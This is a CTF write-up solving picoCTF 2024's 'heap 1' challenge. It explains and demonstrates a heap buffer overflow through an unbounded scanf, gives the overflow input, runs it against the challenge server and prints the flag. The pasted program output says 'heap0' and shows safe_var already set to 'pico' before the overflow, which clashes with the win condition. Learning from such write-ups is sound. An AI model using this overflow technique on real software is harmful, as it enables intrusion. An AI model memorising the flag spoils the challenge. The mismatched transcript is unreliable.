Skip to content

Latest commit

 

History

History
233 lines (187 loc) · 7.14 KB

File metadata and controls

233 lines (187 loc) · 7.14 KB

heap 1

Level: Medium
Tags: picoCTF 2024, Binary Exploitation, browser_webshell_solvable, heap
Author: ABRXS, PR1OR1TYQ

Description:
Can you control your overflow?

Hints:
1. How can you tell where safe_var starts?

Challenge link: https://play.picoctf.org/practice/challenge/439?category=6&difficulty=2&page=1

Solution

Same as heap 0, we start by looking at the main()

Analyse the C file

int main(void) {

    // Setup
    init();
    print_heap();

    int choice;

    while (1) {
        print_menu();
        int rval = scanf("%d", &choice);
        if (rval == EOF){
            exit(0);
        }
        if (rval != 1) {
            //printf("Invalid input. Please enter a valid choice.\n");
            //fflush(stdout);
            // Clear input buffer
            //while (getchar() != '\n');
            //continue;
            exit(0);
        }

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            write_buffer();
            break;
        case 3:
            // print safe_var
            printf("\n\nTake a look at my variable: safe_var = %s\n\n",
                   safe_var);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}

Main basically does the following:

  • Call init function
  • Call print_heap function
  • Print the menu with the print_menu function
  • Read the user input choice, check if it's valid and from 1-4, do different things accordingly

The check_win function (menu choice 4) will print the flag for us if we have managed to change the contents of the safe_var variable

void check_win() {
    if (!strcmp(safe_var, "pico")) {
        printf("\nYOU WIN\n");

        // Print flag
        char buf[FLAGSIZE_MAX];
        FILE *fd = fopen("flag.txt", "r");
        fgets(buf, FLAGSIZE_MAX, fd);
        printf("%s\n", buf);
        fflush(stdout);

        exit(0);
    } else {
        printf("Looks like everything is still secure!\n");
        printf("\nNo flage for you :(\n");
        fflush(stdout);
    }
}

So basically we want to satisfy the condition if (!strcmp(safe_var, "pico")) and we will win, strcmp compares 2 strings(takes in the pointer as input), safe_var and "pico"

Meaning we would like to make the value stored in pointer safe_var equals to "pico"

Let's skip the rest of the source code for now and run the program.


Run the binary locally

./chall

Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x556e508826b0  ->   pico
+-------------+----------------+
[*]   0x556e508826d0  ->   pico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 

The difference between the memory positions is 32 bytes.

For every char is 1 byte, so we will type "pico after 32bytes of characters

Enter your choice: 2
Data for buffer: 12345678901234567890123456789012pico

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x556e508826b0  ->   12345678901234567890123456789012pico
+-------------+----------------+
[*]   0x556e508826d0  ->   pico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 4

YOU WIN
zsh: segmentation fault  ./chall
                                                                                                                                                                     

Success, we managed to overwrite safe_var. The segmentation fault error is due to the fact that no flag.txt file exists in the directory.

The cause is the unbounded use of scanf (scanf("%s", input_data);) in the write_buffer function.

Get the flag

Finally, we connect to the site vith netcat and follow the same procedure

nc tethys.picoctf.net 61789

Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.

Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x5c1bede962b0  ->   pico
+-------------+----------------+
[*]   0x5c1bede962d0  ->   pico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 2
Data for buffer: 12345678901234567890123456789012pico

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address   ->   Heap Data   
+-------------+----------------+
[*]   0x5c1bede962b0  ->   12345678901234567890123456789012pico
+-------------+----------------+
[*]   0x5c1bede962d0  ->   pico
+-------------+----------------+

1. Print Heap:          (print the current state of the heap)
2. Write to buffer:     (write to your own personal block of data on the heap)
3. Print safe_var:      (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag:          (Try to print the flag, good luck)
5. Exit

Enter your choice: 4

YOU WIN
picoCTF{starting_to_get_the_hang_9e9243f9}